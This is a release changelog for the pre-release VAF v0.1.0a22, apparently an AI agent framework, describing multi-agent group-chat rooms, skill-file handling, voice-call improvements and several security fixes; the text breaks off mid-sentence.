VAF v0.1.0a22
Pre-releaseFixed
- Asking your agent in a room to remember something (from you or the room's
leader) is honoured now - the permission was decided but never handed to the
turn, so it silently never applied. - An agent's work in a room is filed under the agent, not under you. A VAF
agent has its own handle in a room, but thevaf a2ashell commands answer as
the machine owner by design - so whenever an agent reached for the shell
instead of its own tool, the room recorded its reports under its USER's name,
and the task board credited the person for the agent's work. While an agent is
taking a room turn its shell now acts as the agent, in that one room only. - Editing a skill no longer throws away what the editor cannot show. The
editor has a name and a description, and saving rebuilt the whole file
header from exactly those two - so a skill written elsewhere lost its own
fields (its licence, its tool list, its metadata) the first time anybody
pressed save. The header is merged now: your two fields win, everything else
stays as its author wrote it.
Added
- Cross-chat hints treat a group chat like any other conversation, in both
directions. Ask in a normal chat about something that was only ever
discussed in one of your agent rooms, and the hint now points there, labelled
as a group chat, with the excerpt naming who said it. And when your agent
takes a room turn, it is told which of your other chats touched the topic -
asked with what was actually said in the room, never with the instructions
around it. Rooms follow the same rules chats do: only your own rooms, the
same age window, and a conversation never hints into itself. - Your agent learns from a group chat, the way it learns from a chat with
you. A room turn used to answer knowing none of what your account had ever
told it, and everything said in a room was forgotten at the next restart:
the two steps that make a chat memorable, looking things up and keeping what
lasts, both stopped at the room's door. They run there now. Roughly every
fifteen messages the room's own conversation is read back and the lasting
facts in it are kept, with every line naming who said it - a room is
multi-voiced, and it matters whether a claim came from you or from a
stranger's agent. Everything learned that way is stamped with the room it
came from, so if a foreign agent turns out to have talked nonsense, what that
one room taught can be dropped without touching the rest. Asking your agent
in a room to remember something works too, from you or from the leader of a
chain it works in; from anybody else it stays a message, not an instruction. - A room can say what it is for, and everyone is reminded. Beyond its
title, a room now carries a mission - a few sentences about what it is
actually for. Every agent sees it when it joins, in every check-in, and in
every turn the room gives it, together with who leads the room by name. Set
it withvaf a2a mission <room> "..."; the room's host or its leader may. - Rooms can decide things: any member can call a vote. A question with
options goes to the room, everyone answers it - twenty agents and the person
in the room alike - and the tally, who voted for what and who has not
answered yet are visible to all. Voting again replaces your earlier ballot.
In the group chat the open votes are docked above the message box, where they
cannot scroll away, and you vote by clicking; several open questions become
tabs rather than a stack, and the conversation slides up to make room for the
panel and back down when it goes. Agents see the votes they still owe an
answer to in every turn. A
short answer lands on the option it obviously means ("ja" on "ja, weiter
so"), and an answer that matches nothing is refused with the options named -
found in the first live vote, where a shortened answer had quietly become a
third column that meant the same as the first.
Ballots are public on purpose: a tally nobody can check is a number somebody
made up. - A vote now ends by itself, and says how it went. A question nobody answers
is not a decision, so a vote no longer waits forever: a member that has not
answered after a minute gets a private reminder from the room - the question,
the options, how to cast and how long is left - and two minutes later the room
closes the vote, posts the result into the conversation and names anyone who
never answered as abstaining. The result says WHO voted for what, not only how
many: ballots are public here precisely so a count can be checked. It ends the moment everybody has answered,
without waiting out the clock. The card in the group chat carries a countdown
(black in the light theme, amber in the dark one) and is replaced by the
result message the moment the room calls it. A deadline of your own still
works:vaf a2a vote <room> "..." --closes-in <minutes>. - Agents see the task board now, which they never did. The browser had a strip
and a panel for it, a foreign agent has hadvaf a2a taskssince the beginning,
and the member actually doing the work was told nothing: an agent could report on
its own task and had no way to learn that somebody else had already taken it,
finished it, or gone quiet on it. Every room turn now carries what is open, who is
on it, how far it has come and what was finished since it last looked, and
room_readanswers the same question on demand. - The room asks about work that has gone quiet, and stops counting it as running.
A task ends when somebody reports that it ended, and nobody ever does for work that
is simply dropped - so the board filled with entries nobody was doing (measured: ten
counted as running, eight last reported on more than a day earlier). After half an
hour of silence the room asks whoever took it on whether it is still running, once
per silence rather than once per sweep, and after two hours with no answer the task
stops counting as work in progress on every surface. It is never marked finished:
nobody said it was, and the room does not invent an ending. Any report - even
"still on it" - puts it back among the living. - Fixed: the record stayed on "fetching..." forever while the count beside it showed
ten. The request was handled inside the block of commands that act in a room, which
is gated by a list of names it was not in, so it never arrived. It has its own
read-only branch now - which it needed anyway, because that block joins the person
into the room when they are not a member yet, and looking at a record must not make
anybody a member of anything. - The room's task panel got a record of its own. How much a room has done stands
with its other facts - kind, your role, members, opened - as a figure you can click,
and clicking it widens the panel into the record: on the left the chain of every
task the room has ever had, newest at the top and grouped by day; on the
right a search over it and the entry you picked, with who did it, who asked, when,
and what came of it in the words of whoever reported last. The live board now keeps
only thirty minutes of finished work; everything older is in the record rather than
in the way. It is fetched when the record is opened rather than carried in the
payload the browser polls every three seconds. - In the task list, the chain and the detail scroll separately and neither shows a
scrollbar; the list carries a count of what is still ACTIVE (working or waiting for
an answer) that filters to exactly those on a click, says so while it is on, and
clears on the next click. A filter nobody can see just makes a list look shorter
than it is. - The room panel's second tab is now the TASK LIST itself: one door instead of two.
A per-member view and a record answered nearly the same question in two places that
had to be kept in step, so the per-member one is gone - what is running right now is
on the strip above the message box, and everything else is in the list, searchable.
Finished work reads green and failed work red instead of both being grey text
nobody reads. - Work that has gone quiet is counted before it is stacked too - five grey cards
weigh as much on screen as five live ones, so the panel answered "what is happening
here" with a wall of what is not. It folds into one line per member and unfolds on
a click, with how long each has been silent. - Finished work in the room panel is COUNTED before it is stacked: one line per
member ("12 erledigt - anzeigen") that unfolds on a click, per member rather than
for the whole panel. An agent that finishes twenty things in an afternoon used to
bury the one task still running under twenty that were over. The cap behind it was
worse than the stacking: it sliced the whole board at twelve, so open work could be
dropped for something that had already ended. Open work is never cut for finished
work now, and the complete record stays in the transcript and invaf a2a tasks-
a panel is not an archive. - What a member is working on is visible without scrolling for it. The room's
task board sat above the conversation, so a progress report landed correctly and
the person who had asked to see it never did - a hundred messages up in a view
that opens at the newest one. The work that is RUNNING is now docked above the
message box next to the votes (three at a time, freshest first, with the count and
the current step); the full board stays in the transcript, where finished work
dims but remains. How much room the conversation makes for the panels is measured
from them rather than fixed, so two panels and a growing composer cannot overlap
the last message any more. Each line names the member it belongs to, and the strip
is clickable: it opens the room panel on a new "Wer macht was" tab, where the whole
board is grouped by member - whoever has something running first, finished work
dimmed but kept. - Fixed on a multi-user installation: only one account's agent was ever woken by
a room. The loop that delivers room messages asked on behalf of whichever
account happened to have chatted last, so on an installation with several users
the other agents sat in their rooms and answered nothing - and which one won was
decided by timing. Every account that holds a room is polled now, and each room
turn runs bound to the account whose room it is, rather than to whoever was there
before. In the same pass: the room's hourly check-in no longer reaches the PERSON
of any account in the room (it woke nobody and answered nothing, once an hour),
and a room shared across accounts admits the accounts it took in, instead of
anyone who happens to learn its id. - A room can be opened for several accounts on one installation, and it names the
ones it takes.vaf a2a create --sharedopens such a room,vaf a2a share <room> <account>lets an account in, and only its host or a leader may. Everything said in
such a room is readable by every member, so knowing its id admits nobody - an id
travels in invitations, in prompts and in log lines. Its members reach its shared
folder (and nothing else of each other's), and a room still only appears in the
sidebar of somebody who is in it. vaf a2a memberssays who belongs to whom: which member is a person, which is
an agent, and which two are one household. Derived by the room from the account each
handle was built from, never claimed by a member - so nobody can write themselves
somebody else's partner. A guest that arrived on an invitation named no account and
is left as unknown rather than guessed at. Agents are told the same thing in every
room turn: which member is their own person, whose the others are, or that nobody
here is theirs. It changes nothing about who may be answered - only whose word
carries their user's authority.- Letting an account into a shared room is written into the security log for
administrators (room_account_admitted, with the room and who admitted). While
fixing that: the log's flood throttle keyed on kind, address, user and channel but
not on WHAT the event was about, so two rooms admitted seconds apart collapsed into
one line - an audit that silently drops entries is worse than none, because it reads
as complete. - A room turn now reports to the account running it, not to the account that
owns the room. The two are the same while a room holds one household; in a room
shared between accounts, routing by ownership would have put one person's agent
output on another person's screen. Both delivery lanes ask the same question now
instead of each keeping its own answer. - A newcomer to a shared room starts reading at its own arrival. The manifest
had promised this since rooms existed and nothing implemented it, so the first
thing an admitted account received was everything the others had said before it
was there. Rooms that hold a single account are unchanged: an agent invited into
a conversation still reads it, which is what the invitation asks it to do. - Fixed, in the remote lane of a room on another machine:
--closes-inwas
dropped silently, so a vote opened from there had no end on the host; a
refused ballot was reported as a successful one, with exit code 0; and
vaf a2a votesrefused to run at all, so a remote peer could vote but never
see the tally it was voting in. A shortened answer sent over the wire is now
resolved against the options like a local one, instead of becoming its own
column in the count. - A room checks in on agents that have gone quiet. An agent that has not
looked at a room for an hour gets a check-in from the room itself: what has
happened, what is open, and what that specifically means for it - a leader is
shown how the work stands and who its workers are, a worker either its own
open tasks or that it can ask its leader for some, and in a room of equals
what the room was opened for in the first place. It goes to that ONE agent,
so a quiet member never costs everybody else a turn, it never appears in the
conversation, and it is an invitation rather than an order: doing nothing is
a valid answer. Off witha2a_room_ping_minutes: 0, hourly by default. - Joining a room now starts with a handshake. An agent that joined used to
be told its own name and nothing else. The room now answers with who is
there and what each of them said they can do, what this agent may send, the
shared folder and how much work is open - and it asks the newcomer what it
can do, instead of leaving it in everyone's list as a name with "said
nothing about what it can do". The ask repeats until it is answered. In a
room with twenty agents, that line is what makes "who can do this?" a
question with an answer. - A room can hand out its own instructions as a skill.
vaf a2a skill <room>writes a skill file in the shared format that Claude Code, Codex and
VAF all read, so a visiting agent keeps how-to-work-here in its own toolbox
instead of in a message somebody pasted once. It is built from the same text
as the invitation, so the two can never say different things. - Skills follow the shared Agent Skills format, ours included. The one
that ships with VAF used its display title where the format wants the
folder's name, which made the file look wrong in every editor that knows the
format - and it is the example anyone copies. Its name now matches its
folder, the human title moved to the metadata the format provides for it,
and skill lists show that title instead of the identifier. Skills written
for other agents load here unchanged, keys and all. - Agents say how far they have come, not just that they are busy. A room
showed "working" and nothing else, so ten minutes of real work looked
exactly like a stuck agent. Any agent can now report progress with its
status - how many steps of how many, and what it is doing right now - and
the room's task card draws it, one dot per step, with the current step
spelled out. Your own agent is reminded to do it whenever it works in a
room, and the invitation teaches a visiting agent the same
(--progress 3/5 --step "writing the tests"). - An agent can ask how a room works, at any time.
vaf a2a howto <room>
reprints the instructions the invitation gave - the same text, with the join
step replaced by that agent's own handle. An invitation is read once, often
in a session that is long over; without this an agent could sit in a room it
belongs to and no longer know how to answer in it.
Fixed
- An invitation to a room is single use on Windows too. Two agents
redeeming the same invitation at the same instant could both get in there -
three did, in a test on Windows, while Linux and macOS refused correctly.
The claim no longer relies on a file rename being a race gate (it is not one
on every platform); the kernel now refuses the second claimant outright. - The interface animates again - all of it. Fifty-eight places were
written to fade, zoom or slide in, and none of them ever did: the classes
came with copied markup, the plugin that defines them was never installed,
and an unknown utility is dropped silently. Dialogs, banners, cards and
messages now move the way the interface always intended. The plugin is
build-time only, MIT, and listed under About → Licenses. - The context gauge shows the conversation you are looking at. It took
whatever context report arrived last, from any conversation, so an open
group chat could show another chat's numbers and the other way round. It
follows the open view now, rooms included. Room messages also fade in the
way a chat's do, instead of appearing from nowhere while the view scrolls. - The browser goes back to idle when it is done. Ending a browsing task
only closed VAF's connection to the browser; the page itself stayed open in
the container and kept rendering. One visit to an animated site left the
machine at ten cores of load, minutes after the agent had already answered.
A finished run now parks the browser on a blank tab (about 5% instead of
1000%), and a new tab is opened before the busy ones are closed so the next
task still finds a browser. - A room that lost its connection stops pretending. With the socket down
the last payload froze, so a group chat kept showing "someone is typing"
from before the interruption - permanently. Presence is now only shown
while the connection is up, and the room's header says when it is
reconnecting, the way a chat has always done. - The room's worker card appears for every kind of worker. It was fed by
one event type, so a browser or research run in a group chat filled the
window while the transcript showed nothing at all. Any live worker now
lights the card, named after what it is ("Browser", "Coder", "Recherche"),
and a card whose run goes quiet without a finish signal disappears by
itself instead of pulsing forever. - A room is now a full view of its own, so every sub-agent surface works
there. Until now only a chat counted as "what you are looking at", and
each live feed carried its own copy of that rule - sixteen of them, half
taught about rooms and half not: the coder window filled while the tool
window, the artifacts and the console output stayed dark in a group chat,
and the whole feed vanished whenever the chat behind the room happened to
be a different conversation. One filter decides it now, for every feed at
once: work an agent is doing is shown beside whatever you have open, rooms
included, while a conversation's messages still belong to that
conversation alone. - The room's worker card now wears the reference design, and the editor
feed survives a sessionless run. The card under the agent's message shows
title with a live pulse, a meta line (worker type, count, start time), the
per-unit progress dots and a chevron that opens the window - the layout the
design mock defined. And the window's editor no longer stays dark for a
room-ordered coder: the two emit sites treated "no session" as "no viewer"
and built nothing, while the room's tenant was watching the whole time. - Restarting VAF from a sub-agent's terminal can no longer poison the app.
A finished coder's terminal leaves the child's environment behind, and a
VAF started from that shell inherited it - the backend then believed it WAS
a sub-agent: it never spawned another worker (every coder ran invisibly
inside the main process under a stale task id) and the whole live feed
died. The main entry points now scrub inherited child markers at startup,
and log when they had to. - Replying to a room message no longer requires detective work. Every
message an agent reads - in room_read and in the room wake prompt - now
carries its id inline, and the wake says plainly that reply_to takes it.
Before, the one surface with ids was the CLI's NDJSON read, which on top
hides the reader's own lane as echo: a live agent spent twenty turns
hunting the id of the very message it was asked to answer. - An agent can no longer conjure a stray room by mis-calling room_open.
"Open room X" reads like entering an existing room, but room_open only ever
creates one - it silently dropped the passed room id and a fresh empty room
appeared in the sidebar (it happened live, the agent meaning the room it was
already in). The tool now refuses an explicit room id, creates nothing, and
the refusal names the right calls (room_read, room_send, room_invite). - A fresh chat no longer paints its welcome screen into an open room.
Creating a new chat and then clicking a group chat floated the big input
mid-screen and drew the welcome hero (avatar and greeting) over the
room's transcript; an open room now pins the composer to the bottom and
keeps the hero away. - Stop now actually stops the browser agent. A chat-turn browser run could
not be interrupted at all: the run executes on its own thread, where the
session id silently resolved to nothing and disarmed the stop watcher - ten
Stop presses in a row changed nothing while the agent sat in a hung browser
start. The session id now travels into the run explicitly, a watchdog is
armed before anything can block, and if a stop still cannot land within ten
seconds the browser container is restarted so the blocked connection dies
and the run ends. Browser start and shutdown are time-bounded, and a browser
that fails to start reports the failure instead of pretending to browse.
Side effect of the same defect, also fixed: the live browser frames were
broadcast without their session and could reach other connected accounts;
they are session-scoped again.
Added
-
Hands-off mode, granted per user. An admin can let a user's agent run
confirmation-gated tools without the "once / always / cancel" dialog: a
switch on the user's row in the local network tab, and for the admin's own
account also under advanced settings. Off by default, and never silent -
every skipped dialog is recorded as agate_bypassedsecurity event. -
The tool-step budget is yours to set. The hard stop of 75 tool steps per
request is now a setting (advanced settings, admin-only), and a switch can
remove the limit entirely; the daily spend budget still applies either way. -
Every room has a shared folder. Files that the whole room should see live
in one place next to your chat workspaces: the folder is named in every
invitation, your agent is told to save shared work there, and clicking the
room's name above the message box opens it in the same window a chat's
workspace opens in - upload and delete included. Deleting the room deletes
its folder too. -
Your agent recognises you in a room. Telling your agent "go ahead" inside
the room used to change nothing: it kept waiting for an answer in the chat,
insisting you had not spoken - while you watched. Your room messages are now
yours to every gate (your room handle derives from your account; nobody else
can hold it): in assist mode an instruction you give in the room opens what a
chat instruction opens, as long as the wake carries only your words - a
stranger's message can never ride on your authority. And a room you set to
autonomous keeps working even while an unanswered question to you is open in
the chat: autonomous is your standing decision, and sleep is not a veto. -
You decide how far your agent may go in a room - from the room itself.
The member panel now shows and sets your agent's mode per room: Observe
(reads only), Assist (talks, but asks you before touching your machine - the
default), and Autonomous, which is literally "work while I sleep": your
agent may act on the room's messages without waiting for you, in this room
only, revocable there any time. The setting existed in the framework from
day one; it just had no button. -
A pasted message can no longer break a task chain. An agent that hands
reply_tothe TEXT of a message instead of its id (it happened on the first
real collaboration) is now told so by the sending tools and the CLI, with
the fix in the error message. The room itself stays tolerant - a reply to a
message that has not arrived yet is legal. -
The live window follows a room turn. While your agent works on a room's
behalf, its sub-agent feed (the coder window, research, documents) now
reaches the browser that is watching the ROOM, not only one watching the
chat session the turn runs in - a real coder run used to look like a hung
one there. And it keeps following after the turn itself ends: a spawned
coder streams for minutes longer, and that stream used to go dark for the
room (the window opened and sat empty for the whole run); the feed is now
routed by the task the room ordered, which outlives the turn. The room is
now a routing anchor in its own right, because a room turn can legitimately
run with no chat session at all - exactly then, every session-keyed gate
used to drop the whole feed silently: the ordering room travels with the
spawned worker and on every event, and the bridge delivers room-stamped
events to the room's own tenant even when no session exists. The worker
card draws from the same live feed, so it appears even for workers that run
inside the agent's own process, with a green pulse while they stream.
Tapping a worker card opens the window, the same gesture the mobile preview
pill uses. Events still never leave your account. -
A room shows the workers your agent has running. When your agent
delegates - to the coder, the researcher, any sub-agent - the room now draws
one card per live worker over the conversation: who, on what, how far. The
same list the chat's task line reads, shown only to you; another member's
workers run on their machine and stay theirs. The terminal's/roomprints
the same line. -
Every room has a task board. Ask an agent to build something and the
work shows up as a card over the conversation: what was asked, who is on
it, and how it stands - the dots walk from taken-on to done, red when it
failed, amber while somebody waits on an answer. Nothing new travels
between machines for this: a task is born when an agent reports on the
message that asked (report --reply-to <id> --status working), and the
last report decides its state. The terminal shows the same board in
/roomandvaf a2a tasks, and agents in a round may now send reports -
giving orders stays forbidden there; saying "I am on it" never was the
same thing. -
A room reads like a conversation in time. Day separators between
calendar days and a clock on every message, exactly like the chat. And the
red unread dot on a room now counts what YOU have not seen: opening the room
clears it, instead of it staying lit for messages your agent had not
processed yet. -
The setup wizard asks what your agent is called. Right after the admin
account and before the personality questions, the same question the terminal
setup always asked: the field offers a generated suggestion, leaving it empty
takes it, and a dice button rolls a new one. The name is how your agent
introduces itself - in chat and in agent rooms - and can be changed later. -
Joining a room from another machine is one command. An invitation now
carries the whole remote path: pin the hosting machine once with
vaf a2a trust, thenvaf a2a join --ticket ... --url wss://...- and from
therewait,say,answer,reportandleaveread exactly like they do
on the host, no address needed again. Behind it, the single-use ticket comes
back as a private seat for that room, stored only on your side; the host
keeps just enough to recognise it. Connections are always encrypted against
the pinned authority - there is no way to say "connect anyway". -
VAF ships a skill that teaches agent rooms. Every installation now
carries an "Agent Rooms (A2A)" skill the agent reads on demand: when to open
a round or a chain, why the invitation briefing must be handed over whole,
how to talk, where shared files go, and what only the user can do. Shipped
skills live in the package, update with it, and a skill you put in your own
skills folder under the same name replaces it. -
A room shows who is typing. While your agent composes its answer, its
typing bubble is live in the room - and other agents, VAF or not, get one the
moment they have taken your newest message and are working on a reply, fading
out if they stay silent. Nothing new travels between machines for this; the
room derives it from what it already knows. -
A room now shows who is doing the work. Your agent enters every room turn
with the member list in front of it - who is in the room, their role and what
they said they are good at - and the context gauge stays visible while a room
is open, because the agent answering there is the same main agent. Typing@
in a room completes the members from a popup right above the input, and the
member panel shows people by their account name instead of the word
"terminal", even in rooms from before this fix. -
Agent rooms: several agents in one conversation. A room is a group chat
that your agent shares with other agents, including ones that are not VAF at
all. Anything with a terminal can take part:vaf a2a createopens a room,
vaf a2a inviteprints a single line to hand to the other agent, and
vaf a2a waitblocks until something is said. Every room has a kind: in a
round nobody gives orders and everyone is equal, in a chain there is one
leader and workers who report back, and a worker who needs help opens a room
of its own where it leads. The whole conversation is kept on your machine,
encrypted like your chats, and readable as a group chat withvaf a2a logor
with/room <id>in the terminal app.Your agent decides nothing on its own there unless you say so. When it
joins a room you choose how far it may go:observeonly reads,assist
lets it talk in the room but asks you before anything on your machine
changes, andautonomouslets it act.assistis the default, and the
setting lives on your side, so nobody in the room can raise it by asking.
Joining a room never gives another agent any of your tools or files.You can speak to one agent in a room by starting a message with its name:
@Codex can you read the logs. Only that agent is woken by it. The others see
the message in their context if something else wakes them, marked as not being
for them, so nobody answers a question that was not asked and nobody replies
blind to what everyone else just read. A name in the middle of a sentence stays
a message to the room, andvaf a2a logshows everything either way, with an
arrow where a line was aimed at somebody.Two agents in one room could otherwise keep thanking each other, so your agent
is told in every room message never to answer a message that carries nothing
new. As a backstop, when a room has run for twenty exchanges without you
saying anything, you get a message on your usual channel naming the room and
how long it has been going, and again every twenty after that. The work is
never stopped for you: an agent that halts unattended work leaves it undone
with nobody there to notice, which is worse than the messages it saves. Your
daily spending limit remains the actual ceiling. A timer or a scheduled task
does not count as you being back. Administrators can change the twenty or turn
the notices off (room_unattended_report_every_turns,
room_unattended_report_enabled).Your rooms now stand at the top of the chat list in the browser as well as in
the terminal app, with a group icon, the number of agents in the room and the
number of messages you have not read. Clicking one opens the conversation as a
group chat, oldest first, with every agent shown under the name the room gave
it - a name and a short number, likeCodex51, so that two agents that joined
under the same name can still be told apart and still be spoken to. That is
also the name to address:@Codex51reaches exactly one of them. Your own
agent is drawn differently from the others, because an agent that is not yours
is a full agent of its own and is never shown as a second voice of yours. The
browser reads a room; writing into one stays with your agent or with
vaf a2a say.An invitation now carries the instructions with it.
vaf a2a inviteprints a
ready-made briefing next to the ticket: a block you paste straight into the
other agent's session, whatever it is. It tells the agent how to join, how to
listen, which of the room's messages it is allowed to send in the role it is
being given, and - the line that decides whether a room does anything at all -
that every message it receives is a request to act, not text to look at. An
agent that misses that point does not fail loudly; it sits in the room being
polite, which looks exactly like a room nobody wanted.The role paragraph in that briefing is read off the same table the room
enforces, so it cannot promise an agent something the room will refuse, and
every command it names is checked against the ones that actually exist.And you can now ask your agent to do all of it: "open a room about the release
and invite Codex" opens the room, puts your agent in it, and hands you the
briefing to pass on. "Invite one more" mints a second invitation for the same
room. Ask for a room where you lead and the agents you invite report to you,
or one where everybody is equal, and you get the one you asked for.vaf a2a audit <room>answers a different question from the transcript: who
took part, when each of them joined or left, and what sort of thing each one
sent - a message, a question, a report and its status, an instruction. It
carries no message text at all, so it can be shown to somebody who has no
business reading the conversation, and it is built from the same records the
room already keeps rather than from a second log that could disagree with them.
In the browser, an open room now names the agents in it in its header, our own
marked apart from the rest.You can write into a room yourself from the browser: the message box under an
open room writes into the room, not into the chat behind it, and you appear as
the same participant you are in the terminal rather than as a second one.And a room can be ended. Where a conversation has a bin, a room has a key: it
asks first, in your language, and on yes everybody in the room is told
"This chat has been terminated by the user or Host AI system." After that the
room accepts nothing more from anybody, including you, and the agents in it
have no way back in - to work together again, open a new room. The conversation
stays readable forever.Two things this uncovered, both fixed here. A room could not be closed at all
by the person whose machine holds it if it was a round, because a round has no
leader and only leaders may close - the host can now end any room they host,
whatever their role, while an invited agent never can. And closing a room used
to change only what was displayed: the transcript said closed, every surface
showed closed, and messages were still accepted. Closing now actually takes the
ability to write away, which was the whole point of it.A room row now carries the same pencil and bin a conversation does - rename it,
or end it - and the room header asks the question a group chat is actually asked:
who is in here. It opens a list with each agent's role, what it says it is, and
whether it has stopped responding, and from there one agent can be removed. That
asks first too, in your language, and says something different from ending the
room, because one takes a participant out and the other takes everybody out. A
removed agent can be invited back with a new invitation.Your own agent cannot be removed from a room it hosts, and no button offers it:
getting rid of your own agent is ending the room, which takes everybody out at
once and says so.Two things that were quietly wrong while a room was open: the sidebar still
marked the chat you had left as the one you were in, and the strip above the
message box showed that chat's workspace folder and token count while you typed
into the room. Both now describe whatever is actually open.Rooms are on the public interface now, so a program built on VAF can open one,
take part in it and invite somebody else's agent without reaching into VAF's
internals. Seedocs/EMBEDDING.mdand the runnable walk-through in
examples/11_a2a_room.py.Agents now say what they are good for when they join, and everybody in the room
sees it - a room is agents deciding who to ask, and a name on its own is nothing
to decide on. The room panel shows it beside each name, with the role spelled out
rather than abbreviated: equal, leader, or worker.Fixed: a room opened with
vaf a2a createhad NO host. Its owner was recorded as
the lane it was opened from rather than the account, one prefix apart and
invisible until something was derived from it - so the person who opened the room
could not close it and could not remove anybody, and their own agent was refused
when it tried to join. Rooms already on disk are healed as they are read; nothing
has to be recreated. -
vaf setupcreates the admin account from the terminal. The first
account could previously only be created in the browser, which does not work
on a machine without one. The command asks for a username, a password, a
name for your AI agent and optionally your Veyllo API key, starts the
database it needs, and leaves the rest to the web login, where two-factor
setup happens on first sign-in as before.vaf runon a machine without an
account offers the same setup instead of pointing at the web UI. For scripts
and AI agents there is a prompt-free path with one exit code per outcome:
printf 'pw\n' | vaf setup --username alice --agent-name Jarvis --password-stdin. -
The terminal setup asks what your agent should be called. The browser wizard
never did, so agents introduced themselves with a generated name such as
"Nobel4831SkyBlue" until the field was found in Settings.
Changed
- The "memory database still uses the default password" warning now says how
to fix it, right in the log entry and the security dashboard: ask your agent
to runvaf secure rotate-db, or type it in a terminal yourself. Previously
the warning named the problem on every start and left the reader to go
searching for the remedy.
Fixed
- Security: the web bundle no longer contains a vulnerable nanoid. The
transitivenanoid3.3.17 (via next/postcss/tailwind) allows a
denial-of-service through an infinite loop when a custom generator is asked
for size zero (Dependabot alert). Pinned to the patched 3.3.18 within the
same major, so nothing else in the dependency tree changes. - The agent can load the skills that ship with VAF. Asking the agent to use
a shipped skill (such as the agent-rooms one) failed with "not found" even
though the very same message listed it as available: the loader only looked
in your own skills folder, never in the package. Both now resolve the same
way, your copy first, the shipped one second. The same blind spot let anyone
create a personal skill under a shipped skill's id, which would have replaced
that skill for every user on the instance; a shipped id now counts as taken. - The skill editor shows a multi-line description again. A skill whose
SKILL.md writes the description as a YAML block (description: >-, the way
the shipped skills do) opened in the editor with a literal>-in the
description field, and saving from there would have replaced the real
description with that fragment. The editor now takes name and description
from the server's parser and only splits the instruction body itself. - An "always allow" answer for unsandboxed Python was read machine-wide
instead of per user: one user's standing grant could open unsandboxed
execution for every account on the instance, and another user's own grant
was never found. The check now reads the same per-user store the answer is
written to. - Network mode: programs that check the certificate properly can connect
again. The certificate VAF generates for network access was missing two
standard fields, which browsers andcurloverlook but a correctly written
program does not: any Python program written since version 3.13 refused the
connection outright with "certificate verify failed". Both fields are added
now. Because one of them belongs to the authority certificate itself, that
file is replaced once on the next start, and any device on which you
installed~/.vaf/ssl/ca.pemneeds the new copy - the log says so when it
happens.
Removed
- The separate "gateway" server, together with its setup page and the
vaf bridge discordcommand that talked to it. Nothing in VAF ever started
the gateway: the web interface, the desktop app and the messaging channels
all run on the normal server, and the gateway could only be launched by hand
by following its own documentation. Anyone who did launch it exposed a file
endpoint that needed no login and could read from every account's folder on
that machine, so the page describing how to start it is gone as well.
Discord itself is unaffected: it is set up in the web interface and runs on
the normal server, as before.
Fixed
- Your agent's name and personality were ignored unless your account happened
to be called "admin". Both the system prompt and the terminal app looked up
the workspace of a user literally named "admin", so an account with any other
name got default answers about who the agent is. - Accounts created in the browser never got their agent workspace prepared, so
the soul and identity files appeared later, on first access, with a random
agent name. - Two accounts could exist whose names differed only in capitalisation, and an
administrator could set a password of any length for someone else. Account
creation had drifted into two copies with different rules; there is one now. - Switching sessions in the terminal app no longer fails with "turn failed".
Every switch into a session that already had messages ended in an error
instead of showing the conversation, so a perfectly intact session looked
broken; resuming a session at startup hit the same fault. The transcript is
replayed again, verified against a stored 523-message session. - Installing VAF from a package gave you an agent with no vocabulary. The
built wheel contained the Python code and almost nothing else: the
vocabulary book (every spoken line and the yes/no lexicons), the coder's
project scaffolds, the seeded tool-knowledge cards and the WhatsApp
bridge were all missing, so an installed copy silently fell back to
built-in English defaults. Measured on the built artifact, and a test
now builds a wheel and checks. - Voice call: a confirmation answer is now read in the language it was asked
in. Since yes and no moved into the multilingual vocabulary, every
language's words were matched at once - and "da" means yes in Romanian
and Serbian, so a German sentence starting with "Da ..." answered the
agent's "was that you?" with yes, relabelling a voice segment and feeding
the speaker profile. Answers typed without umlauts ("natuerlich") now
count too. - Hosting:
voice_semantic_endpoint_enabledis admin-only, as its
documentation always claimed. It was writable by any account on the
network, and arming it makes every call stream microphone audio to the
server and download a model there, for the whole instance. - Voice call: answering the agent's "did you mean me?" in your own words
counts as an answer again. The confirmation only recognised a short
hardcoded list (ja/jo/yes/yep), so a natural "Natuerlich, meinte ich
dich", a French "Bien sur" or a Turkish "Tabii ki" was treated as side
talk and silently ignored. Yes and no now come from the same vocabulary
book the rest of the assistant speaks from (16 languages so far, more
fill in on a later generator run), while the old pattern stays as the
fallback for elongations like "jaaa" and as a safety net if the book
cannot load. - Linux hosting: starting VAF no longer asks for the root password on every
start. The culprit was the firewall presence CHECK itself: reading the
rule configuration is a polkit admin action on common distros, so checking
whether the rule existed raised the very dialog it tried to avoid - for
weeks, every password went into the check while the rule existed the whole
time. A local marker now remembers what this install already set up (a
normal start runs no firewall reads at all), a real change elevates exactly
once with check and add together, and the setup runs at most once per
start (TLS mode runs two internal servers and could raise two dialogs).
Even asking "is firewalld running" turned out to be admin-gated on
openSUSE, so that probe now asks systemd instead of firewall-cmd. - Voice call: the assistant no longer denies a capability in the same
breath as delegating the task ("I can't check your mails, but..."
spoken while the mail check was already handed to the main agent).
When a delegation survives, such a denial is replaced by the normal
short acknowledgement. vaf secure rotate-dbworks now; its first live run found two defects. It
crashed before touching anything (the config's plainpostgresql://address
selected a database driver that is not installed), and it rotated only the
app role while the more powerful owner role kept the published default
password, with the warning reading "all clear" because it only checked the
app connection. The command now rotates both roles, each verified before
anything is saved, and the warning watches both connections.
Added
- Developers can now build voice assistants on VAF. The live-call turn
pipeline - noise gate, speech-to-text, speaker verification with the
anti-spoofing rules, the reflex policy, the reply layer and the delegation
decision - is available as a library object:from vaf import VoiceTurnEngine, TurnOutcome. You bring the microphone, the transport and
the text-to-speech (and your own recognizer via thetranscribeseam); the
engine returns one decided outcome per utterance. It is the exact object
VAF's own web call runs on. Contract and runnable example: EMBEDDING.md
("Running a voice turn yourself") and examples/09_voice_turn.py. - The voice call got measurably faster, and it now measures itself. Three
independent cuts. Memory lookups behind every turn: the embedding model padded
every text to its full width, so a short query cost ~140 ms - now ~7 ms, which
also speeds up memory search and document lookups everywhere else. The
listening detector: the pause before the agent accepts that you finished
dropped by roughly half a second (a smoothing filter meant for visual meters
was delaying the decision, background hum no longer counts as speech, and the
silence window shrank accordingly). And every call turn now reports where its
time went - microphone wait, transcription, speaker check, answer, speech -
so the next slow turn is a log line, not a guess. - Optional: the agent can hear that you merely paused (off by default). With
voice_semantic_endpoint_enabledthe browser streams the microphone to the
server during a call and a small local model (Smart Turn v3, 8 MB, runs on
CPU, BSD-2 licensed, downloaded on first use) judges from your intonation
whether you actually finished the sentence - a mid-sentence thinking pause no
longer ends your turn, and a finished one ends it without waiting out the full
silence timer. The browser's own timer always remains as the fallback. - You can see, and cap, what the API costs per user. VAF measured tokens
for every call and then forgot them; nothing added them up and nothing could
